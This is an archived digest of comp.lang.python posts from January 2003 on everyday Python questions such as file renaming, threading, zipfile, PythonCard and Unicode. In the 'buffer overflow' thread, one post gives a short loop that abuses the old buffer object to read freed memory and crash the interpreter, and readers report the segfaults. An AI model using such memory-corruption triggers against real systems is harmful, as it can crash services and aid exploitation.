Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From reidlai at reidlai.com  Sat Jan 25 08:54:52 2003
From: reidlai at reidlai.com (Reid Lai)
Date: Sat, 25 Jan 2003 21:54:52 +0800
Subject: wxMenuBar
Message-ID: <3E32972C.8000608@reidlai.com>

Dear All,

Is there any way to change langauge of default "Window" menu when I 
create an empty wxMenuBar?

Reid Lai




From tebeka at cs.bgu.ac.il  Tue Jan  7 04:38:00 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 7 Jan 2003 01:38:00 -0800
Subject: renaming files
References: <3e1a5058_3@nopics.sjc>
Message-ID: <33803989.0301070138.6bbcca23@posting.google.com>

Hello, 

> I'm new to python and trying to learn the language by doing some everyday
> tasks in it.
> I wanted to convert the following simple csh script to python:
> 
> foreach i (test-????.*)
>   mv $i `echo $i | sed 's/test/final/'`
> end
> 
> I can't find no easy way. I don't want to use a system call to 'ls', so got
> a list
> of files with os.listdir(), but how can I get a selective list?
> I can match "test-" with string.find, but I'm really looking for test-????.*
> (csh wildcards).
What you're looking for is the 'glob' library:
--------------
#!/usr/bin/env python
from glob import glob
from os import rename

for file in glob('test-????.*'):
    rename(file, file.replace('test', 'final'))
--------------
Note that globbing regular expressions are differnt from the 're' module ones.

HTH.
Miki



From aleax at aleax.it  Thu Jan 30 16:04:51 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 21:04:51 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de> <mailman.1043948036.13037.python-list@python.org> <h32j3v8ntbhhh4i7bq93qihs2t71gdb3vf@4ax.com>
Message-ID: <Trg_9.106594$0v.3078122@news1.tin.it>

Dale Strickland-Clark wrote:

> Alex Martelli <aleax at aleax.it> wrote:
> 
>>It says that strings are to be treated as a list of 1.  Not sure what
>>you mean by "excluded".  The OP also gave an example that did
>>not meet his own specs (he went out of his way to treat _tuples_
>>NOT as lists of one item).
>>
> 
> Sorry. I was using the term 'list' in it's general sense, rather than
> the Python definition. In other words, anything that is normally
> represented by items seperated by commas. So Python lists and tuples
> are in, str and unicode (and anything else normally represented by an
> unbroken string of characters) are out.
> 
> I'm sure even that definition has holes but maybe it's clearer.

Actually quite clear, but finding holes is more fun:-).

A dictionary, {1:2, 3:4, 5:6}, is a list of items separated
by commas (the items are (1,2), (3,4), ...) -- how do you
want to treat it?


Alex




From tim.one at comcast.net  Sun Jan 19 17:37:12 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 19 Jan 2003 17:37:12 -0500
Subject: license question
In-Reply-To: <008f01c2bfdf$7e647440$8c4a9a40@Arts>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEEODJAB.tim.one@comcast.net>

[Arthur]
> The scenario is as follows:
>
> I am distributing code that is itself dependent on a Python 3rd party
> modules.
>
> The distribution of *that* module silently overwrites the
> index.html file in the Doc directory of the standard Python
> distribution.  So that if one is to do "Help", "Python Documentation..."
> from the standard IDLE, one gets the top-level help file for the third
> party module, rather than the normal Python toplevel help file.  If one
> unistalls that third party module, things stay exactly the same, one
> gets the substituted toplevel help file, forever.
>
> The overwrite, is without prompt.
>
> I have contacted the person responsible for that distribution and let
> him know I thought that the practice of his distribution was at the
> minimum, ill-mannered.
>
> He gave me some justification I could make no sense of.
>
> Since my code is dependant on this distribution I have a "situation".
>
> Would the practice of silently overwriting a file that is part of the
> standard Python distribution in any way constitute a violation of
> the Python license.

Not for that alone:  the PSF license explicitly grants permission to make
modifications and distribute derived works.  Every OSI-certified license
does, since freedom to make derived works is part of the Open Source
definition (point 3 at <http://opensource.org/docs/definition.php>).  While
I am not a lawyer, it was intended that it be *hard* to violate the Python
license.  The license does require that derivative works include "a brief
summary of the changes made to Python 2.3".

> And, if so, who might have standing to press the issue.

The PSF holds copyright.





From cbrown at metservice.com  Mon Jan 20 14:57:53 2003
From: cbrown at metservice.com (Colin Brown)
Date: Tue, 21 Jan 2003 08:57:53 +1300
Subject: Extra C_ directory in using ZipFile
References: <825b84d0.0301200243.12cd4585@posting.google.com>
Message-ID: <3e2c54c2$1@news.nz.asiaonline.net>

"Mak" <makwaiming at yahoo.com> wrote in message
>
> I am using zipFile to zip files for backup purpose. Everything seems
> to work fine except it create extra C_ directory when I try to unzip
> it using winzip 8.0. For example, if I zip up c:\abc\def and unzip
> right away. It will create directory tree like c:\C_\abc\def
>

Hi Mak

I came across exactly the same problem a little while ago. It seems to be a
"feature"
of zipFile.  If you remove the drive name "c:" from the files you are
zipping up then
the zipfile becomes winzip compatible.

Cheers
Colin Brown
PyNZ






From CousinStanley at HotMail.com  Wed Jan  8 15:33:57 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Wed, 8 Jan 2003 13:33:57 -0700
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avepvu$o6k$0@216.39.172.122> <avhh4d$ffmlh$1@ID-130333.news.dfncis.de> <avhobn$d5g$0@216.39.172.122>
Message-ID: <avi1u6$g4ojc$1@ID-130333.news.dfncis.de>

|| w98 console is annoying in other ways too, IIRC. I.e., you
|| have to load doskey to get line recall, and then that doesn't
|| get inherited when you run python in the console interactively?

Bengt ...

I'm using doskey and find it very useful
and on this Win98 system it does NOT inherit into Python,
which  IS  a problem ...

As a result, I do little testing directly in interactive mode
but make changes in a text editor and then run ...

doskey does make switching back and forth
between ... edit ... and ... python ... very easy
after typing the lines the fist time ...

I have managed to switch the DOS colors easily
using ANSI Escape sequences with the ANSI.SYS driver,
but I'm curious as how to do it with DOS/Win configurations ...

Cousin Stanley











From lac at strakt.com  Thu Jan  9 02:50:13 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 08:50:13 +0100
Subject: Novel Thoughts on Scripting and Languages 
In-Reply-To: Message from Martin Christensen <knightsofspamalot-factotum@gvdnet.dk> 
   of "Wed, 08 Jan 2003 22:18:29 +0100." <87of6r8hne.fsf@gvdnet.dk> 
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <Zd0T9.162$Dq.12687@newsread2.prod.itd.earthlink.net> <87of6r8hne.fsf@gvdnet.dk> 
Message-ID: <200301090750.h097oDjL012016@ratthing-b246.strakt.com>

In your travels you are likely to meet people who think that 
'programming language' == compiled and 'scripting language' == interpreted.
They usually believe everybody else uses language this way, as well.

Laura Creighton




From tvassila at siac.com  Fri Jan 24 09:48:48 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 24 Jan 2003 09:48:48 -0500
Subject: Something like asynchronous XML-RPC possible?
Message-ID: <OF870C8963.EF885C0E-ON85256CB8.00511520@nsmtp.siac.com>

Medusa has a verygood example of asynchronous XML-RPC that we have used in
production.
Medua is at http://www.nightmare.com/medusa/

thanos vassilakis







From printers at sendme.cz  Tue Jan 21 03:49:37 2003
From: printers at sendme.cz (A)
Date: Tue, 21 Jan 2003 09:49:37 +0100
Subject: How to send output to file
Message-ID: <3E2D17B1.3400.13E9049E@localhost>

Hi All,
I use httplib module.
By h.set_debuglevel(1) I start debugging but the output is written to DOS window.
How can  I divert the output to file instead.
Thank you for help.
Ladislav






From aahz at pythoncraft.com  Sun Jan  5 21:01:57 2003
From: aahz at pythoncraft.com (Aahz)
Date: 5 Jan 2003 21:01:57 -0500
Subject: Python threading tutorial?
References: <mailman.1041679867.22000.python-list@python.org> <mailman.1041757332.19797.python-list@python.org> <95959723.0301051043.68a9e778@posting.google.com> <mailman.1041802930.7347.python-list@python.org>
Message-ID: <avao2l$g6r$1@panix2.panix.com>

In article <mailman.1041802930.7347.python-list at python.org>,
Gerrit Holl  <gerrit at nl.linux.org> wrote:
>
>I see. The threading tutorial by Aahz Maruch is not an ideal tutorial to
>read through the web, but page 33 helps me; it says:
>
>mutex.acquire()
><dangerous code>
>mutex.release()
>
>confusingly, those acquire() and release() functions are not in the
>mutex module but Lock() methods; I need to dive deeper in this matter,
>to better understand this Lock()ing... hmm... my code seems to hang
>randomly when adding this... hmm... I'll try and work this out and
>will probably come with a pointed question later this week... hmm...
>studying... hmm... hmm..

Oops.  "mutex" is a standard terminology and because the mutex module
doesn't have anything to do with threading, I wasn't aware of it when I
wrote the tutorial.  Here "mutex" is just a plain instance of a Lock()
object (which is pretty clear in a live setting because page 32
discusses Lock(), but is not so clear just from reading).  Sorry about
that, but you're the first person to hit that confusion (that I'm aware
of).
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"There are three kinds of lies: Lies, Damn Lies, and Statistics."  --Disraeli



From hancock at anansispaceworks.com  Tue Jan  7 21:18:21 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 02:18:21 GMT
Subject: Too Self Centered
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <NTLS9.19696$134.2084753@newsread1.prod.itd.earthlink.net>

beno wrote:
> I'm writing my first real script and running into what appears to be a
> problem. Although this code works perfectly well, it seems to have way too
> many uses of *self.* in it. But if I don't put them in, the runtime
> compiler complains that various global names aren't defined. What to do?
> Here's an example of the code.
> TIA,
> beno
> 
>   def __init__(self):
>    self.readFile = open('test1','r')
>    while self.readFile.readline() != '':
>     self.count = self.count + 1
>    self.total = self.count

Why do you need 'count' to be a permanent object attribute?  It's also sort 
of odd to keep the file reference unless your object is going to be 
continually accessing the file and will cease to be useful when the file is 
closed.

Maybe you should just use more local variables:

    def __init__(self):
          f = open('test1','r')
          while f.readline()!=''
                i += 1
          self.total = i
          f.close()

or something like that? Also, note that using deeper indentation steps 
*greatly* improves readability.

HTH,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From theller at python.net  Fri Jan 17 13:22:58 2003
From: theller at python.net (Thomas Heller)
Date: 17 Jan 2003 19:22:58 +0100
Subject: buffer overflow
References: <mailman.1042778911.1136.python-list@python.org> <v2ggvghqpt2de8@corp.supernews.com>
Message-ID: <u1g7r5z1.fsf@python.net>

"Tim H" <tim at frontier.net.nospam> writes:

> "Tim Peters" <tim.one at comcast.net> wrote in message
> news:mailman.1042778911.1136.python-list at python.org...
> > [donoli]
> > > I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> > > security on both of them against a buffer overflow.  If someone has
> > > the code in python for a buffer overflow, please post it.
> > > donoli.
> >
> > [Martin v. Loewis]
> > > Python does not support buffer overflows, sorry.
> >
> > [pmaney at pobox.com]
> > > I'm sure they could be added by a C extension module.
> >
> > They already were, and, curiously enough, by the builtin bufferobject.c.
> > That supplies the builtin, little understood, and easily abused buffer
> > object.  For fun, run this:
> >
> > """
> > from array import array
> > from random import randrange
> >
> > i = 0
> > while 1:
> >     i += 1
> >     print i,
> >     a = array('c', 'x' * randrange(10000))
> >     b = buffer(a)
> >     a.extend(array('c', 'y' * randrange(10000)))
> >     c = list(b)
> > """
> >
> > Chances are high it will die with a segfault before going around the loop
> 20
> > times, because the buffer object created by buffer() can be left pointing
> at
> > freed memory by the array object guts getting reallocated, and then
> list(b)
> > ends up reading God-only-knows-what from the stale buffer object.  Some of
> > the smarest people I know have refused to fix this <wink>.
> >
> >
> 
> Hmmm, a Win2k box got to 14, while Linux got to where I got bored and
> CTRL-C'ed it.  Does this mean Linux can count higher than Windows?
> 

No, it means that these kind of bugs are easier to find on Windows
than on Linux ;-)

Thomas



From adalke at mindspring.com  Wed Jan 29 11:47:52 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Jan 2003 09:47:52 -0700
Subject: patching of python: tabs make me seek of python
In-Reply-To: <j6TZ9.100622$0v.2907983@news1.tin.it>
References: <f210c9f3.0301281143.22c01152@posting.google.com> <mailman.1043799291.30192.python-list@python.org> <f210c9f3.0301290625.6ebe1aea@posting.google.com> <j6TZ9.100622$0v.2907983@news1.tin.it>
Message-ID: <b190jt$m1k$1@slb3.atl.mindspring.net>

Alex:
> Convert your boss to vim!  It can be used as a strict superset of
> vi.  As a vi fanatic myself, I see NO reason to keep using the
> old, limited vi, when vim's SO good these days.  vim can easily
> be configured to expand all tabs to spaces, btw.

I know one person who has the source code to vi from about 15
years ago.  When he goes on a new machine, he recompiles it.

I pointed out that vim exists, is more powerful and more featureful.

He replied that it changed one behaviour that he wants.  He would
rather recompile (and tweak) the codebase he knows than to figure
out a new one.

What's different?  I don't remember.  I have vague recollections
that his copy of vi doesn't have multiple undo, and an undo twice
is the same as an undo/redo.  vim has multiple undo, so acts
different in that one respect.

I don't understand it either.

But he has (after years of prodding) decided that Python's an
okay language.  Not that he's going to program in anything other
than C.

Hmmm.... I see there is a strict vi compatibility mode for vim.
Maybe I should point that out to him.  But odds are he's the
sort that would rather configure things in C than change a config
file.  :)

					Andrew
					dalke at dalkescientific.com




From altis at semi-retired.com  Sun Jan 12 12:58:15 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sun, 12 Jan 2003 09:58:15 -0800
Subject: pythoncard: what's wrong in my code?
References: <pan.2003.01.12.16.45.28.368632@Togli_Quest0sideralis.net>
Message-ID: <h0iU9.29$xm3.29268@news.uswest.net>

Hi, first of all questions like this should be directed to the
pythoncard-users mailing list since you are much more likely to get a timely
response there.

http://lists.sourceforge.net/lists/listinfo/pythoncard-users

It is generally not legal to have a thread other than the main one for the
GUI access the GUI windows and controls of your app. There are several
methods for getting around this that have been covered on the wxPython-users
mailing list and pythoncard-users fairly recently. See the archives at:

http://aspn.activestate.com/ASPN/Mail/?topic=Python

You might also look at long running tasks in the wxPython wiki

http://wiki.wxpython.org/index.cgi/FrontPage

One solution is to post custom wxPython event messages from your other
thread and then handle that in your main event loop. My preferred way is to
use the Queue module, you share a Queue instance between your threads, push
the message onto the Queue, call wxWakeUpIdle() and then handle the message
in an idle handler in the GUI, something like this.

    def on_idle(self, event):
        if not self.msgQueue.empty():
            msg = self.msgQueue.get()
            self.doDisplayMsgReceived(msg)
            event.RequestMore()

When you want to update the display of a control before an event finishes,
call Update() after setting the value.

ka

"Riccardo Galli" <riccardo at Togli_Quest0sideralis.net> wrote in message
news:pan.2003.01.12.16.45.28.368632 at Togli_Quest0sideralis.net...
> This little program start a thread, which every 1 second modify a text
> widget.
> The problem is that, often, when I run it the text is written ON the old
> text, without changing the old text value. It's like to write always on
the
> same paper: in a short time the paper is completely black
>
> The real program is bigger, of course, but this is the minimum code which
> can produce the error
>
> if someone can help me....
> Thanks,
> Riccardo
>
> class Retriever(Thread):
> def __init__(self,components):
> Thread.__init__(self)
> self.components=components #this is a dirty trick I use to see
self.components of the main apllication
>
> def run(self):
> seconds=0
> while 1:
> self.components.counterStText.text=str(seconds)
> seconds+=1
> time.sleep(1)
>
> class myclass(model.Background):
> def on_openBackground(self, event):
> aThread=Retriever(self.components)
> aThread.start()
>
> if __name__ == '__main__':
>     app=model.PythonCardApp(myclass)
>     app.MainLoop()
>
>
>
> --
> -=Riccardo Galli=-
>
>  _,e.
> s~  ``
>  ~@.   ideralis Programs
> .   ol
>  `**~  http://www.sideralis.net
>





From martin at v.loewis.de  Wed Jan  1 02:00:37 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 01 Jan 2003 08:00:37 +0100
Subject: Quick tutorial on using the unicodedata module?
References: <mailman.1041379026.27989.python-list@python.org>
Message-ID: <m3vg192w2y.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip at pobox.com> writes:

> The unicodedata module docs come with no examples, so I'm left bumping
> around more-or-less in the dark.  I just encountered a web page with no
> encoding information which contains an octal 205 byte.  It seems to display
> as an ellipsis, and my heuristic decoder function expresses it as u'\x85'
> and says the encoding s utf-8.  

U+0085 is a control character, with the usual name NEXT LINE (NEL). I
say "usual name", as it appears that the control characters don't have
any official consortium-assigned names - atleast the Unicode database
lists them only as "control character". So the Python unicodedata
module does not have names for the control characters, either. This
may need fixing, but I'm uncertain of what the correct fix would be.

As for this specific example: If you have guessed correctly, and the
bytes you got really are U+0085, then the character is a line-breaking
character, not a graphical one. NEL is used as a line break (instead
of CR or LF) on big iron machines, so if the data you got are likely
to originate from an OS/390 system, your interpretation might be
correct.

If the browser displays it as an ellipsis, the browser has guessed
that it is windows-1252, which has the assignment

<U2026>     /x85         HORIZONTAL ELLIPSIS

Browsers always assume that bytes in the range 0x80..0x9f indicate a
Windows encoding, because the control characters in that range are
rarely used, and because Windows users don't know how to properly
declare character sets :-)

'\x85' is the horizontal ellipsis all of the windows encodings, so
that it is windows-1252 (and not, say, windows-1251) is a guess,
again.

If you wanted to use the unicodedata module to find a character by
guessing its name, I suggest you use an entirely different tool:
downloading the Unicode database, and searching for a characters with
grep(1) is much more appropriate.

As for a tutorial on the unicodedata module: people normally would not
use it directly, but through some higher-layer functions (e.g. the
.upper method of a unicode object). Knowledge of the Unicode database
is required to effectively use the module; people who do know how this
database is structured should have no problems using the module. See

http://www.unicode.org/Public/UNIDATA/UnicodeCharacterDatabase.html
http://www.unicode.org/ucd/

Regards,
Martin



From davecook at nowhere.net  Fri Jan 24 11:08:02 2003
From: davecook at nowhere.net (David M. Cook)
Date: Fri, 24 Jan 2003 16:08:02 GMT
Subject: Books for newbies
References: <200301232343.PAA25722@mail.arc.nasa.gov> <mailman.1043366266.11545.python-list@python.org>
Message-ID: <slrnb32p7a.iha.davecook@localhost.localdomain>

In article <mailman.1043366266.11545.python-list at python.org>, Tyson Tate wrote:

> are. I'm looking for books that assume general programming knowledge 
> (OOP, classes, basic concepts, etc) and cover everything from the 
> basics to more advanced topics.

Take a look at the "Dive into Python" and "Python Cookbook" websites:

http://diveintopython.org/
http://aspn.activestate.com/ASPN/Cookbook/Python

Dave Cook



From whisper at oz.net  Mon Jan 27 20:09:09 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 27 Jan 2003 17:09:09 -0800
Subject: python weblog apps?
In-Reply-To: <20030128000125.A21343@psychofx.com>
Message-ID: <GCEDKONBLEFPPADDJCOEGELEHKAA.whisper@oz.net>

Bzero
http://www.myelin.co.nz/bzero/

Another poster suggested kaa, but that's a horse of a different color: it
builds webpages to be hosted on your own server, so it's more of a pseudo
blog.

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Chris Miles
> Sent: Monday, January 27, 2003 16:01
> To: python-list at python.org
> Cc: chris_py004 at psychofx.com
> Subject: python weblog apps?
>
>
> I am after a simple weblog for a project, and I see
> a number of php weblog apps around, but have not
> found a Python-based one.
>
> If you know of one you can point me at, that'd be
> great.
>
> Cheers,
> CM
>
> --
> Chris Miles
>
> --
> http://mail.python.org/mailman/listinfo/python-list





From spam at magnetic-ink.dk  Wed Jan 29 07:35:14 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 12:35:14 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org> <16639e88-1256-4856-b604-95bd59d2d770@news.szn.dk> <7h38yx4175f.fsf@pc150.maths.bris.ac.uk>
Message-ID: <a14e9fc5-2de7-4afb-9d07-6a46a8f74013@news.szn.dk>

Michael Hudson wrote:

>> The darned thing about Bzero is that it is distributed as
>> a bunch of compiled python script (.pyc) -- no source is
>> available. :(
> 
> This is a solvable problem :) google("decompyle").

I thought about that, but never got around to actually trying it.
I've never tried decompyle -- how legible is its output?


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From Mongryong at sympatico.ca  Wed Jan 29 18:49:40 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 29 Jan 2003 18:49:40 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com>
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com>  of "Tue, 28 Jan
	2003 19:49:10 +0100." <3e36d04e_2@news.vo.lu>
	<mailman.1043781593.6864.python-list@python.org> 
	<2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com>
Message-ID: <1043884181.1324.112.camel@refugeeMedia>

> C makes it easy to shoot yourself in the foot.  However, with C++,
> you're likely to blow off your whole leg.

If you read the "is it a bug??" thread, its a perfect example of why
every language will shoot yourself in the foot if you don't understand
it.  Python is no different.  









From mcfletch at rogers.com  Wed Jan 15 02:37:57 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 15 Jan 2003 02:37:57 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E24EF28.1DE0986E@alcyone.com>
References: <mailman.1042606406.22716.python-list@python.org> <3E24EF28.1DE0986E@alcyone.com>
Message-ID: <3E250FD5.7020501@rogers.com>

Before anyone gets hurt ;) .  My question was actually just "who holds 
the copyright" :) .  I have enough on Tim (less on Mark, but he gave his 
copyright away, so I'm safe there ;) ) that I feel pretty safe from any 
PSF pogroms should they emerge :) .

Of course, that's how they get you; so your cautious advice is 
well-taken. If you don't say anything as long as you feel safe then one 
day they're at your door and there's no one to stand up for you. Lawyers 
are, after all, strongly motivated by personal financial interest to 
increase the total litigation in the world (and to think we go to them 
for advice about the law, what a conflict of interest!)  Obviously what 
we need to do is to all take a stand and do away with the litigationist 
aspects of society, they feel safe, they're easy targets...

I just didn't want to have someone who had made the icons free solely 
for distribution in the official Python distro getting upset if I 
redistribute them, or more critically (I've used them personally 
before), if IDEs that charge money to peoples include an icon-set with 
those icons in turn included.

Walk softly, carry a big closet of skeletons,
Mike

Erik Max Francis wrote:

>Tim Peters wrote:
>
>  
>
>>The question is why Mike should be more afraid of getting sued by the
>>PSF
>>than you are?  The PSF also holds the copyright on the files he's
>>asking
>>about, and Mike has the same license *from* the PSF to use them as you
>>have.
>>Now anyone at all can sue Mike for anything at all, but since the PSF
>>holds
>>the copyright on those files, only the PSF has legal standing to sue
>>him for
>>copyright violation.  Telling him he should be afraid of that remains,
>>in my
>>eyes, bizarre.  That doesn't mean he won't be sued <wink>.
>>    
>>
>
>You keep emphasizing the word _afraid_, which I never used.  I never
>told him he should be _afraid_ of getting sued.  I simply said that the
>safest course of action -- as it is in any legal situation -- is to get
>explicit permission in the form of a piece of paper with a signature on
>it.
>
>He asked for information about the legality of using certain copyrighted
>materials, and was met with an ambiguous response -- a response which
>disclaimed its own legal applicability.  At this point it's only
>sensible to secure explicit permission or not bother; it sounded, after
>all, like using these materials was not crucial to his project anyway.
>
>You're the one trying to inflate this into a huge issue; I simply gave
>him standard, reasonable advice on the use of copyrighted mateirals.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From python.newsgroup at REMOVE.paulnilsson.com  Thu Jan 23 12:16:07 2003
From: python.newsgroup at REMOVE.paulnilsson.com (Havok)
Date: Thu, 23 Jan 2003 18:16:07 +0100
Subject: pgame GUI
References: <09gv2vsva0mhvc7pb66fscr3aracv5on7l@4ax.com> <v302qhgrun4e12@corp.supernews.com>
Message-ID: <aq803vo6mcs16l44tk0maruvntv9f63kn9@4ax.com>

On Thu, 23 Jan 2003 15:33:37 -0000, an infinite amount of monkeys
hijacked the computer of Lee Harr <missive at frontiernet.net> and wrote:

>> If theres nothing available then I'll attempt to modify pyui so I can
>> plug it ino pygame, but don't want to reinvent the wheel :)
>> 
>
>
>If you have not asked on the pygame mailing list yet, I recommend it.

Thanks, will do.



From amk at amk.ca  Wed Jan  8 19:43:04 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 08 Jan 2003 18:43:04 -0600
Subject: bgen rocks
References: <mailman.1042002425.7793.python-list@python.org>
Message-ID: <iWudnZ8vFZcFWIGjXTWcqw@speakeasy.net>

On Tue, 7 Jan 2003 21:04:51 -0800 (PST), 
	Chris li <chrisl_li at yahoo.com> wrote:
> Sure. When I cleanup my code a little bit
> I will submit them. The re module change
> might break the Mac scan module which depend
> on the default value of regular expression.

Check the current CVS trunk before going any further; it looks like
someone has already updated bgen to use the re module.

--amk                                                             (www.amk.ca)
Didn't you find two angry men stuck to my car?
      -- The Doctor, in "The Ambassadors of Death"




From Oschler at earthlink.net  Wed Jan 22 16:58:03 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Wed, 22 Jan 2003 21:58:03 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org>
Message-ID: <LtEX9.134$0L3.63489@news2.news.adelphia.net>

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1043252741.1779.python-list at python.org...
>
> I don't know how you'd classify "best", but the spambayes project has a
> pop3proxy.py application which works well and does a damn good job of spam
> filtering to boot:
>
>     http://spambayes.sf.net/
>

Skip,

Last I checked the only thing you could download was a 'pik' file or a the
whole CVS tree, but that in a few weeks they might have a standard
SourceForge download, has anything changed?

thx






From neal at metaslash.com  Fri Jan 17 18:23:06 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Fri, 17 Jan 2003 18:23:06 -0500
Subject: 2.2.2 generates: "TypeError: 'module' object is not callable"
References: <5e536696.0301171256.1d3d9c48@posting.google.com>
Message-ID: <pan.2003.01.17.23.23.03.831644.9294@metaslash.com>

On Fri, 17 Jan 2003 15:56:59 -0500, RW wrote:

> Calls to the class dcHelper below works fine under 2.2.1 but now breaks
> under 2.2.2 with the error: "TypeError: 'module' object is not
> callable".

The code works for me after fixing the errors:

 * add import os
 * add a global diff_dirs = {}
 * fix syntax error (missing : after if stmt)

I tested with 2.2.2 and 2.3a1+.  There must be something else going on.
I suspect that object is getting set to a module somehow.

Neal



From morden at shadows.net  Wed Jan 15 16:53:42 2003
From: morden at shadows.net (morden)
Date: Wed, 15 Jan 2003 13:53:42 -0800
Subject: Zinc designer
In-Reply-To: <b04d1f$68b$1@bob.news.rcn.net>
References: <b04d1f$68b$1@bob.news.rcn.net> <mailman.1042659871.24891.python-list@python.org>
Message-ID: <b04f21$a31$1@bob.news.rcn.net>

Cliff Wells wrote:

> On Wed, 2003-01-15 at 13:19, morden wrote:
>
> >Did anyone modify Zinc designer to generate (and preferably read back)
> >Python code instead of binary .dat files?
>
>
> Isn't Zinc a proprietary product?  How would it be possible to modify
> it?  Further, it's written in C++, not Python, so how is it related to
> Python in any way?

There were sources back in versions 4.X and 5.0 dunno about the recent 
version. Basically what I want is to throw away my dat file (it gets 
corrupted once in a while and being binary there is no much use for 
revision control), keep menus as Python code that is loaded/saved by 
Zinc Designer.




From BPettersen at NAREX.com  Mon Jan  6 13:10:59 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 11:10:59 -0700
Subject: best python editor/ide for windows
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com>

> From: Tiberius Teng [mailto:u9300103 at mail.lssh.tp.edu.tw] 
> 
> I would suggest EmEditor (http://www.emurasoft.com).

Ok, I'll bite... Why? (i.e. why is it better than the others?) Not
trying to argue, just looking for information :-)

-- bjorn




From zope at thewebsons.com  Tue Jan  7 15:53:40 2003
From: zope at thewebsons.com (beno)
Date: Tue, 07 Jan 2003 16:53:40 -0400
Subject: Too Self Centered
Message-ID: <5.1.0.14.0.20030107165141.01f73e88@mail.thewebsons.com>

Hi;
I'm writing my first real script and running into what appears to be a 
problem. Although this code works perfectly well, it seems to have way too 
many uses of *self.* in it. But if I don't put them in, the runtime 
compiler complains that various global names aren't defined. What to do? 
Here's an example of the code.
TIA,
beno

  def __init__(self):
   self.readFile = open('test1','r')
   while self.readFile.readline() != '':
    self.count = self.count + 1
   self.total = self.count
   self.readFile.close()
  def firstRead(self):
   self.readFile = open('test1','r')
   self.name = self.readFile.readline()
   self.count = self.count - 1
  def subsequentRead(self):
   if self.count != 0:
    self.lines.append(self.readFile.readline())
    self.count = self.count - 1
    self.subsequentRead()
   else:
    pass
  def firstLine(self):
   self.allLines += self.lines[0]
  def subsequentLines(self):
   if self.total > 2:
    self.total = self.total - 1
    self.countOne = self.countOne + 1
    self.allLines += self.lines[self.countOne]
    self.subsequentLines()
   else:
    table = string.maketrans('\n', ' ' )
    self.allLines = string.translate(self.allLines,table)






From skip at pobox.com  Thu Jan  2 16:02:30 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 15:02:30 -0600
Subject: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <3e14a219$1_1@goliath.newsgroups.com>
References: <3e145e67_1@goliath.newsgroups.com>
        <aJWcnRWzQtc7E4mjXTWcqA@comcast.com>
        <3e14a219$1_1@goliath.newsgroups.com>
Message-ID: <15892.43238.322017.293419@montanaro.dyndns.org>

    Brad> ... as I said in my previous post, I'm looking for test patterns
    Brad> suiteable for database backed "objects".

The largest problem I see to testing SQL database store/retrieve is that to
be confident in your test results you would have to actually execute SQL,
and standardized though it may be, different implementations have many
different, incompatible, extensions.  Perhaps if you constrain your SQL
sufficiently you can use Gadfly or sqlite as a test driver, but I suspect
that would either constraint your SQL too much or not provide very complete
coverage.

Skip





From jerf at compy.attbi.com  Mon Jan 27 12:39:53 2003
From: jerf at compy.attbi.com (jerf at compy.attbi.com)
Date: Mon, 27 Jan 2003 17:39:53 GMT
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org> <A7WdnXDV-psLLqmjXTWcoA@comcast.com> <pan.2003.01.26.23.56.53.590876@compy.attbi.com> <D95Z9.118884$AA2.5074168@news2.tin.it>
Message-ID: <pan.2003.01.27.12.39.45.809226@compy.attbi.com>

On Mon, 27 Jan 2003 07:25:23 +0000, Alex Martelli wrote:

> jerf at compy.attbi.com wrote:
>> I use it in my code generally as a combination of those two; I believe in
